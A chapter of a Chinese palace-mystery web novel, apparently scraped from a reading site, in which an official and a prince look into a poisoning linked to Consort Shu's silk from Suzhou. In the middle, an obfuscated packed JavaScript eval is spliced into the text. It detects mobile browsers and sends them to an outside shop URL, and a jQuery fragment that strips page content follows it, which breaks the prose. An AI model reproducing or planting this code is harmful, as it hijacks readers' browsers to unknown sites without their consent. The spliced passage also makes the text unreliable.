“凶手能在这么短的时间内去慎刑司下毒,想必是很熟悉慎刑司布局的人,一定是宫中之人。”苏晏语气肯定。
"那苏大人的意思是……"淑妃看着苏晏,眼中的警惕是藏不住的。
而苏晏转头看着晚翠说:“我看晚翠姑娘好的差不多了,需不需要找太医来瞧瞧?”
晚翠的手下意识攥住被褥,张着嘴想说什么却说不出口。
“这种臣妾来做就好。”淑妃说。
然后走到床前,挡住苏晏二人的视线。
眼下的证据不足,贸然硬刚肯定没有好处,淑妃是个聪明人,被她反咬一口就不好了。苏晏心想,不如先暗中调查一波。
谢云归站在一旁没有说话。
"既然娘娘自有安排,那臣不再叨扰。"苏晏对着淑妃行礼后就要带着谢云归离开。
淑妃闻言,脸上漏出笑意:“那臣妾便恭送大人与王爷,希望大人能早日查明真凶,给逝者一个,公,道啊。”
等离开清漪宫,苏晏叹了口气。
谢云归问:“就这么走了?那个淑妃很明显不对劲啊。”
“不走又能如何?眼下没有明确的证据,对方又是三妃之一,又不能直接带去问话吧?”苏晏看着谢云归,“怎么?莫不是伟大的逍遥王殿下有什么主意?”
谢云归老老实实地摇头。
“我们先去看看那腰牌。”苏晏说。
随后二人来到西华门外,西华门离清漪宫并不远,不一会就到了。
只见聚集了一些宫人正对着地上的物件窃窃私语。
见二人来了,连忙行礼散开。
为首的小太监道:“苏大人,刚刚一个小宫女不慎摔倒,头饰掉落,打捞时发现的。”
那玫腰牌被掰成两半,沾着少量污泥,已经被小太监清理过了。
“根据对比,确实是那枚腰牌。”谢云归在苏晏耳边小声说。
苏晏转头盯着谢云归,想开口却噎住了。
“嗯?苏大人想说什么?”谢云归弯下腰,拉进俩人之间的距离。
她甚至能闻到他身上淡淡的熏香,抬头就和他那双漂亮的桃花眼相对,他的眼中带着笑意。
苏晏猛的后退一步,用咳嗽掩盖自己的失神。
“我需要你帮个忙。”
“嗯?什么?”谢云归假装没听清又靠近了一步,“苏大人说什么?”
眼中的笑意更深。
“我说!我需要你帮个忙……”
“需要什么?”
谢云归又靠近了一步,在距离苏晏只有半步的时候停下来。
他纯玩我呢!?
苏晏抬起手冲着他胸口就是一拳,但碍于他王爷的身份没有有多大的力。
谢云归挨了一拳也老实了,问她什么忙。
“希望你能派人调查一下苏家,淑妃的娘家。”
“怎么突然要调查苏家?”
淑妃苏明莲的父亲是从二品漕运总督,确实,依靠苏晏的身份去查肯定被搪塞回来,但如果是以逍遥王的名义那就不一样了。
“之前在柳采女那里找到的碎纸团,‘把柄在手’,我猜测是淑妃干了什么见不得人的事,并且不是什么小事,要不然也不会被灭口。”苏晏思索着。
“可以。”谢云归点点头,“只要有不对的就向苏大人汇报嘛?”
“主要是调查淑妃寄回去的家书什么的……”
苏晏还没说完,谢云归就一溜烟跑了,一边跑一边喊:“保证苏大人交给小人的完成任务!”
“唉!”苏晏无奈叹气,也不知道这事交给他能不能行。
随后她让宫人把两块的腰牌洗干净装袋子里,关键证据要留存。
忙活了一下午,太阳快落山了,要在宫门下钥之前回去。
不过在次之前,要先去一趟太医院……
随着暮色席卷京城,大理寺早已褪去白日喧闹。
苏晏端坐在桌上,手中翻看着谢云归记录的卷宗。
而谢云归早就趴在桌子上睡着了。
看着看着拳头硬了。
这家伙居然在某些段落后画上了小涂鸦,还有一些自己的碎碎念?!
苏晏顺手抄起旁边的卷纸朝他头上来一下。
谢云归哎呦了一声,随后又迷迷糊糊地睡着了。
没招了,总不能真把他薅起来重写吧。
苏晏深吸了一口气。她眼前摆着到目前为止收集的政务。
留着柳采女字迹的碎纸团,春禾衣服的碎布,腰牌以及太医给的一份毒药说明。
毒死春禾的是一种叫寒绡毒的毒药。
上面写着,此药产自江南太湖流域,因为只在江南小范围流传,所以京中少有人知。
既可溶入水食,也能浸染衣料,长期穿戴会侵入肌肤,深入体内。
江南的毒药怎会出现在皇宫?
身旁的人忽然动了,谢云归迷迷糊糊醒了,半眯着眼问苏晏怎么还不睡。
"没事,现在就睡。"
别说现在的谢云归完全看不出来平日里那副混世魔王的样子。
仔细一看他的眉眼生得及其柔媚,眼角微微上挑,长长的睫毛垂落,这样看像一只趴着睡觉的小狐狸。
真希望明天醒来,他还能保持这种宁静感。
……
事实证明,她的希望破灭了。
"苏大人早啊!"谢云归醒的比苏晏早,在他吃过早膳,苏晏才洗漱完毕,“苏大人睡懒觉了噢。”
苏晏昨夜整理卷宗整理到很晚,她此时没心情拌嘴。
随后,苏晏打发他去重新写案录。
直到临近正午,大理寺偷偷进来了一名暗卫打扮的人,他在谢云归耳边低语几句,就迅速消失在二人眼前。
嚯,不愧是王爷的暗卫啊,进出大理寺和闹着玩一样。
“打探到什么消息了吗?”
“有一点。”谢云归点点头,“淑妃和苏家之间的家书往来十分频繁,不过……”
“这些家书有问题?”
谢云归摇摇头:“暗卫只找到一部分,剩下的估计被销毁的。很遗憾的是,找到的那部分里都是家长里短。”
"除了家书还有别的吗?"苏晏想,淑妃是个谨慎的人,家书这种东西肯定被她提前处理过了。
"还有,苏家经常给淑妃送布料,但她几乎不穿都送给别人了。"谢云归叹了口气,“还都是苏州来的好料子,真是家财万贯啊。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17967185|214547||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“苏州?”
“是啊,你不知道淑妃的父亲在成为漕运总督之前是苏州的地方官吏吗?”谢云归问道。
苏晏心中冒出一个猜想,随后将太医给的药纸拿给谢云归看。
谢云归看了以后,眉头邹起来说:“你的意思是……那布料有问题?"
"只是猜想,你能让暗卫查查苏家再送布料的时间吗?我们去截胡。"
谢云归表示可以。
暗卫效率很高。
两日后入夜,亥时一刻,由内务府外院侧门送入。
接下来的几日,二人没有轻举妄动。
苏晏专心排查宫内近月从江南入京的物品记录。
以及搜查淑妃送出布料的去向,但是那些下人的说辞有东有西,要么证词对不上,要么说忘了的,很明显有人提前和她们打好招呼了。
而谢云归呢,被苏晏要求抄写录案直到改掉乱涂乱画的毛病。
“你故意压榨本王,呜呜,我要告诉皇兄……”,他算是欲哭无泪了。
转眼间到了约定的一夜。
苏家运送布料的马车刚停,忽然暗处涌现数名暗卫将马车死死围住。
苏晏从阴影里走出。
运输的小吏瞬间慌了:“苏大人,这是后宫的贡物,未经圣谕,不可扣拦!”
“想要圣谕啊,本王现在给你去要?”谢云归跟在苏晏后面。
“近期宫中毒杀案和这批布料有关,大理寺有权查验。”说着苏晏就要上前掀箱子。
“深夜,大理寺在宫门私自动妾身的私贡,苏大人是不是太心急了?”
众人回头。
淑妃缓步走来,身后的宫女垂首紧跟。
她竟亲自来了。
“娘娘有所不知,这杀死春禾的正是名叫寒绡毒的毒药,来自江南,具臣所知,娘娘的布料也是来自江南。”
谁知,淑妃听完唇角一勾,竟笑出了声。
“照苏大人所言,凡江南之物,皆能带毒?那这满宫的江南贡品,岂不是件件可疑?既然大人执意要验,妾身自然配合,也好洗清自身污名。”
她侧过眼,视线扫向谢云归:
“王爷也在此,正好做个见证。开箱查验,若是查不出毒物,苏大人可要给臣妾一个交代。”
谢云归察觉到淑妃过于淡定了,莫非有诈?
“是不是藏毒,验过自有定论。若是无毒,大理寺自会赔礼。”
随后苏晏示意等候在一旁的太医上前查验。
太医俯身开箱,仔细取了数匹锦缎,当场仔细查验。
只见他的神色越来越凝重,最终叹了口气道:“回苏大人,这批绸缎,并未检出寒绡毒。”
话应刚落,周围一片寂静。
小吏悄悄松了口气,一旁的宫人也都面露诧异。
淑妃脸上笑意更盛,往前踏出一步,目光落在苏晏身上:“苏大人,如今查验结果已然明了。这一批贡缎干干净净,并无半分毒物。不知苏大人……”
她并未往下说,但苏晏知道这事麻烦大了。
谢云归垂眸,果然他的不安是对的。
恐怕淑妃早就料到我们会查到这,故意换成无毒的了,苏晏也这样想。